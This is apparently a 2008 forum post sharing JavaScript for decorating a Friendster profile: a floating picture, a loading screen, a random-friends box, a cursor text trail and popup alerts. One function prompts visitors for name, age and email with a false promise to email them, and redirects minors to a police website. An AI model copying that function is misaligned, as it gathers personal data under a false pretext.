fadeOut(); if (CBE&&CBE.IEbugfix) {showSelects();} boxMove=true; CBE=null; } } function showSelects(){ var elements = document.getElementsByTagName("select"); for (i=0;i< elements.length;i++){ elements[i].style.visibility='visible'; } } function hideSelects(){ var elements = document.getElementsByTagName("select"); for (i=0;i< elements.length;i++){ elements[i].style.visibility='hidden'; } } /* FLOATING OBJECT (SHAKIRO214) ----------------------------- */ dude="<div id='divStayTopLeft' style='position:absolute;z-index:50;'><div id='mainpic'></div></div>"; flow=document.getElementById('flo_wrapper'); river=document.createElement("div"); river.innerHTML=dude; flow.parentNode.insertBefore(river,flow); //in this part you can change it into "frombottom" or "fromtop" var verticalpos="fromtop" function BoyantDiv() { var startX = 15; var startY = 170; function ml(id) { if (document.getElementById) { var wek=document.getElementById(id); } else if (document.all) { var wek=document.all[id]; } else { var wek=document.layers[id]; } if(document.layers) { wek.style=wek; } wek.sP = function(x,y) {shino(x,y);}; function shino(x,y) { wek.style.left=x; wek.style.top=y; } wek.x = startX; if (verticalpos=="fromtop") { wek.y = startY; } else{ if (navigator.appName.indexOf("Netscape") != -1) { wek.y = pageYOffset + innerHeight; } else { wek.y = document.body.scrollTop + document.body.clientHeight; } wek.y -= startY; } return wek; } window.stayTopLeft = function () {boyant();}; function boyant() { if (verticalpos=="fromtop"){ if (navigator.appName.indexOf("Netscape") != -1) { var tenten = pageYOffset; } else { var tenten = document.body.scrollTop; } ftlObj.y += (tenten + startY - ftlObj.y)/8; } else{ if (navigator.appName.indexOf("Netscape") != -1) { var tenten = pageYOffset + innerHeight; } else { var tenten = document.body.scrollTop + document.body.clientHeight; } ftlObj.y += (tenten - startY - ftlObj.y)/8; } ftlObj.sP(ftlObj.x, ftlObj.y); wakoko=setTimeout("stayTopLeft()", 50); } ftlObj = ml("divStayTopLeft"); stayTopLeft(); } BoyantDiv(); /* VISITOR PICTURE (FERUZZ) --------------------------------- */ if (!attachOnLoadHandler(function(){viewer();})) window.onload = function(){viewer();}; function viewer() { if(pageViewerID!="") VIEWERPIC.init(); } function spawnImage(mypic) { if (!mypic) { VIEWERPIC.getCode(); return; }else { for (val in VIEWERPIC.info) { try { VIEWERPIC.getPhoto = new RegExp(VIEWERPIC.regexp[val]).exec(mypic)[1].replace(/(\d)+?/i,"$1"); document.getElementById("mainpic").innerHTML = VIEWERPIC.getPhoto; } catch(e) { VIEWERPIC.getPhoto = ""; document.getElementById("mainpic").innerHTML = ""; } } } } if (typeof VIEWERPIC == "undefined") { VIEWERPIC = {}; } VIEWERPIC = { getPhoto: [], info: { photo: null }, regexp: { photo: /imgblock200"><a.*?>((.|\s)+?)<\/a><\/div>/ }, init: function() { if(document.getElementById("mainpic") != null) { this.ajaxRequest("/user.php?uid="+pageViewerID,"spawnImage",null); } }, ajaxRequest: function(url,ajaxfunc,handler) { if(handler) { handler = ","+handler; } else handler = ""; var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); if(ajaxfunc) { eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+ajaxfunc+"(httprequest.responseText"+handler+");}}"); } httprequest.open('GET', url, true); httprequest.send(null); } }; //LOADER if(navigator.appName=="Netscape") loader=new Loader(); function Loader() { this.hide=function() { lding.style.display='none'; } var lding = document.getElementById('navBg'); var myWidth = 0, myHeight = 0; if( typeof( window.innerWidth ) == 'number' ) { //Non-IE myWidth = window.innerWidth; myHeight = window.innerHeight; } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) { //IE 6+ in 'standards compliant mode' myWidth = document.documentElement.clientWidth; myHeight = document.documentElement.clientHeight; } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) { //IE 4 compatible myWidth = document.body.clientWidth; myHeight = document.body.clientHeight; } lding.innerHTML="<br><br><br><br><br><br><br><br><br><br><center><b><font face='Verdana' size='3px' color='#000000'> ... Salama' datang Mangge..."+pageViewerFName+"...!!!!</B></FONT><br><br><img src='http://h1.ripway.com/rockaddicted/images/loading.gif'><br><br><center><b><font face='Verdana' size='3px' color='#000000'>...siap-siap yah untuk moliat kita pe profile...<br><br>..Profile Loading........sabar sakide le......!!!<br></font><b></center>"; lding.style.display=''; lding.style.position = 'fixed'; lding.style.top = '0px'; lding.style.left = '0px'; lding.style.width = myWidth; lding.style.height = myHeight; lding.style.backgroundImage ="url(http://h1.ripway.com/rockaddicted/images/alpha.png)"; lding.style.backgroundRepeat='repeat'; lding.style.zIndex=1000; } setTimeout("loader.hide()",20000); //RANDOMIZE FRIENDS function cip6192() { Ffetcher.init(); } if (!attachOnLoadHandler(function(){cip6192()})) window.onload = function(){cip6192()}; function randOrd(){ return (Math.round(Math.random())-0.5); } if (typeof Ffetcher == "undefined") { Ffetcher = {}; } Ffetcher = { friends: new Array(), pages: null, maxfriends: null, container: null, cached: new Array(), display: 10, base_domain: "http://profiles.friendster.com", init: function() { var num=document.links; for(var x=0;x<num.length;x++) { if (num[x].href.match(/\/friends\/[\d]+?/)) { var t=/\(([\d]+?)\)/; this.maxfriends=t.exec(num[x].innerHTML)[1]; break; } } this.pages=Math.floor(this.maxfriends/30); var htm="<div align='center' id='fcontainer' class='boxcontent'></div>"; addBox("Random Friends",htm,"frbox",/commonbox[\s]*?publiccomments/i); document.getElementById("content_frbox").innerHTML+="<div class='viewall'><br><a href='javascript: void(Ffetcher.more())'>More Random Friends</a></div>"; this.container=document.getElementById("fcontainer"); this.fetch(0); }, fetch: function(page) { document.getElementById("frbox").childNodes[0].innerHTML="Friends Loading... Pls wait..."; processAjaxRequest("GET",this.base_domain+"/friends/"+pageOwnerID+"/"+page,true,null, "parseFriends",page); }, show: function() { this.container.innerHTML=""; this.friends.sort(randOrd); for(var x=0;x<this.display;x++) { this.container.innerHTML+=this.friends[x]; } }, more: function() { if(this.cached.length<(this.pages+1)) { var temp; do { temp=Math.ceil(Math.random()*(this.pages)); }while(this.cached.toString().indexOf(":"+temp+":")!=-1); this.fetch(temp); } else { this.show(); } } }; function parseFriends(htm,page) { if(!htm){ Ffetcher.fetch(page); return; } var r= /search1\x22>[\S\s]+?paginglinksmodule\x22>([\S\s]+?)<div class=\x22paginglinksmodule/; var temp=r.exec(htm)[1]; temp=temp.match(/<div class="flogriditem">[\S\s]+?<\/div>\n<\/div><\/div>/g); for(var x=0;x<temp.length;x++) { temp[x]=temp[x].replace("samsg_icon.gif>","samsg_icon.gif />"); temp[x]=temp[x].replace(/<a /g,"<a target=_blank "); if(!temp[x].match("nophoto")) Ffetcher.friends.push(temp[x]); } Ffetcher.cached.push(":"+page+":"); document.getElementById("frbox").childNodes[0].innerHTML="Freaaky Friendz"; Ffetcher.show(); } function processAjaxRequest(type,url,cont,param,handler,handlerparam) { //by marfillaster //type 'POST' | 'GET' //cont 'true' | 'false' //param string | null //handler string | null //handlerparam string |null if(handlerparam) handlerparam=","+handlerparam; else handlerparam=""; var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}"); httprequest.open( type, url, cont); if(type=="POST") { httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httprequest.setRequestHeader("Content-length", param.length); httprequest.setRequestHeader("Connection", "close"); } httprequest.send(param); } try{ document.createStyleSheet("http://h1.ripway.com/rockaddicted/randomizer.css"); } catch(e){ document.write("<link rel='stylesheet' type='text/css' media='screen, print' href='http://h1.ripway.com/rockaddicted/randomizer.css'>"); } /* Viewer's Main Photo at WIWTM Internalize AJAX handler Author: FeRuZZ © http://profiles.friendster.com/feruzz No warranty expressed or implied. Use at your own risk. */ /*global VIEWERPIC*/ VIEWERPIC = {}; (function() { VIEWERPIC = { // private property photo: null, init: function() { if (pageViewerID !== "") { try { VIEWERPIC.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, VIEWERPIC.viewer, null); }catch(e) {} } }, viewer: function(htm) { htm = htm.slice(htm.indexOf("<div class=\"imgblock200\">")+0, htm.indexOf("<ul id=\"controlPanelButtons\">")+0); htm = htm.slice(htm.indexOf("<img src=\"")+10, htm.indexOf("\"></a></div>")+0); VIEWERPIC.photo = document.createElement("div"); VIEWERPIC.photo.align = "center"; VIEWERPIC.photo.appendChild(document.createElement("a")); VIEWERPIC.photo.getElementsByTagName("a")[0].href = "/" + pageViewerID; VIEWERPIC.photo.getElementsByTagName("a")[0].target = "_blank"; VIEWERPIC.photo.getElementsByTagName("a")[0].title = pageViewerFName; VIEWERPIC.photo.getElementsByTagName("a")[0].appendChild(document.createElement("img")); VIEWERPIC.photo.getElementsByTagName("img")[0].src = htm; VIEWERPIC.photo.appendChild(document.createElement("br")); VIEWERPIC.photo.appendChild(document.createElement("span")); VIEWERPIC.photo.getElementsByTagName("span")[0].className = "q"; VIEWERPIC.photo.getElementsByTagName("span")[0].appendChild(document.createElement("a")); VIEWERPIC.photo.getElementsByTagName("a")[1].href = "/" + pageViewerID; VIEWERPIC.photo.getElementsByTagName("a")[1].target = "_blank"; VIEWERPIC.photo.getElementsByTagName("a")[1].title = pageViewerFName; VIEWERPIC.photo.getElementsByTagName("a")[1].innerHTML = pageViewerFName; document.getElementById("viewerpic").appendChild(VIEWERPIC.photo); }, ajaxRequest: function (type, url, async, param, func, handlerparam) { /** * ajaxRequest function * version: 2.3 * Copyright: FeRuZZ © http://profiles.friendster.com/feruzz * * @type: "GET" | "POST" * @cont: true | false * @param: param | null **/ var httprequest = null; var requestDone = false; var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"]; for (var x = 0, len = msxml.length; x < len; x++) { try { httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest(); break; } catch (e) { httprequest = null; } } if (typeof func === "function") { httprequest.onreadystatechange = function () { if (!requestDone && httprequest && (httprequest.readyState === 4)) { requestDone = true; if ((httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) { func(httprequest.responseText.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam); } } }; } httprequest.open(type, url, async); httprequest.setRequestHeader("ajaxRequest", "true"); httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest"); httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1809 00:00:00 GMT"); httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*"); if (type === "POST") { var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : ""); var contentLength = param ? param.length: 0; httprequest.setRequestHeader("Content-type", headers); httprequest.setRequestHeader("Content-length", contentLength); if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) { httprequest.setRequestHeader("Connection", "close"); } } httprequest.send(param); } }; })(); //NAME AGE REDIRECT function getName() { var name1 = prompt("sema sangana hi..?", "") var age = prompt("How old are you?", "") var email1 = prompt("nuapa e-mail addressnya komiu..?", "") if( age <= 18) { alert("Hey to kodi... KomiU bLum " + age + " dan DeWasa Untuk melihat yaku pe profile \nTe BolEh le! Komiu blum CuKup UMur!!! " + name1 + " naNti Jo'eee! \nklo ini komiu pe e-maiL " + email1 + " , nnti yaku kirim lewat e-mail jo'ee!!") window.open('age.html','PopupName','toolbar=0,location=0,status=0,menubar=0,scrollbars=0,resizable=0,width=500,height=400'); window.location=("http://www.polri.go.id") } else { alert("Hallo mangge " + name1 + " selamat datang di profile ku ini yang se adanya saja \nKarna Komiu sudah " + age + ", Komiu boleh BerJaLan-jalan di Profile Ku Ini!! \nini -Mail nya komiu toch " + email1 + ", Ok.!!!") } } getName(); //mouse //Circling text trail- Tim Tilton //Website: http://www.tempermedia.com/ //Visit http://www.dynamicdrive.com for this script and more function cursor_text_circle(){ // your message here var msg='REZZA FRIENDSTER'.split('').reverse().join(''); var font='Verdana,Arial'; var size=3; // up to seven var color='#ff0000'; // This is not the rotation speed, its the reaction speed, keep low! // Set this to 1 for just plain rotation w/out drag var speed=.3; // This is the rotation speed, set it negative if you want // it to spin clockwise var rotation=-.2; // Alter no variables past here!, unless you are good //--------------------------------------------------- var ns=(document.layers); var ie=(document.all); var dom=document.getElementById; msg=msg.split(''); var n=msg.length; var a=size*13; var currStep=0; var ymouse=0; var xmouse=0; var props="<font face="+font+" size="+size+" color="+color+">"; if (ie) window.pageYOffset=0 // writes the message if (ns){ for (i=0; i < n; i++) document.write('<layer name="nsmsg'+i+'" top=0 left=0 height='+a+' width='+a+'><center>'+props+msg[i]+'</font></center></layer>'); } else if (ie||dom){ document.write('<div id="outer" style="position:absolute;top:0px;left:0px;z-index:30000;"><div style="position:relative">'); for (i=0; i < n; i++) document.write('<div id="iemsg'+(dom&&!ie? i:'')+'" style="position:absolute;top:0px;left:0;height:'+a+'px;width:'+a+'px;text-align:center;font-weight:normal;cursor:default">'+props+msg[i]+'</font></div>'); document.write('</div></div>'); } (ns)?window.captureEvents(Event.MOUSEMOVE):0; function Mouse(evnt){ ymouse = (ns||(dom&&!ie))?evnt.pageY+20-(window.pageYOffset):event.y; // y-position xmouse = (ns||(dom&&!ie))?evnt.pageX+20:event.x-20; // x-position } if (ns||ie||dom) (ns)?window.onMouseMove=Mouse:document.onmousemove=Mouse; var y=new Array(); var x=new Array(); var Y=new Array(); var X=new Array(); for (i=0; i < n; i++){ y[i]=0; x[i]=0; Y[i]=0; X[i]=0; } var iecompattest=function(){ return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body; } var makecircle=function(){ // rotation properties if (ie) outer.style.top=iecompattest().scrollTop+'px'; currStep-=rotation; for (i=0; i < n; i++){ // makes the circle var d=(ns)?document.layers['nsmsg'+i]:ie? iemsg[i].style:document.getElementById('iemsg'+i).style; d.top=y[i]+a*Math.sin((currStep+i*1)/3.8)+window.pageYOffset-15+(ie||dom? 'px' : ''); d.left=x[i]+a*Math.cos((currStep+i*1)/3.8)*2+(ie||dom? 'px' : ''); // remove *2 for just a plain circle, not oval } } var drag=function(){ // makes the resistance y[0]=Math.round(Y[0]+=((ymouse)-Y[0])*speed); x[0]=Math.round(X[0]+=((xmouse)-X[0])*speed); for (var i=1; i < n; i++){ y[i]=Math.round(Y[i]+=(y[i-1]-Y[i])*speed); x[i]=Math.round(X[i]+=(x[i-1]-X[i])*speed); } makecircle(); // not rotation speed, leave at zero setTimeout(function(){drag();},10); } if (ns||ie||dom) if ( typeof window.addEventListener != "undefined" ) window.addEventListener( "load", drag, false ); else if ( typeof window.attachEvent != "undefined" ) window.attachEvent( "onload", drag ); else { if ( window.onload != null ) { var oldOnload = window.onload; window.onload = function ( e ) { oldOnload( e ); drag(); }; } else window.onload = drag; } } cursor_text_circle(); /*GOOB BYE ALERT*/ function goodbye(){ alert('Tarimakasi banya'..., '+parent.pageViewerFName+' Suda' mpir k' profile Q'); } parent.window.onunload=goodbye;[/spoiler]

Last edited by boim (2008-07-30 04:15:07)

Board footer

© 2024 F Talk

Current time is 00:44

[ 12 queries - 0.575 second ]
Privacy Policy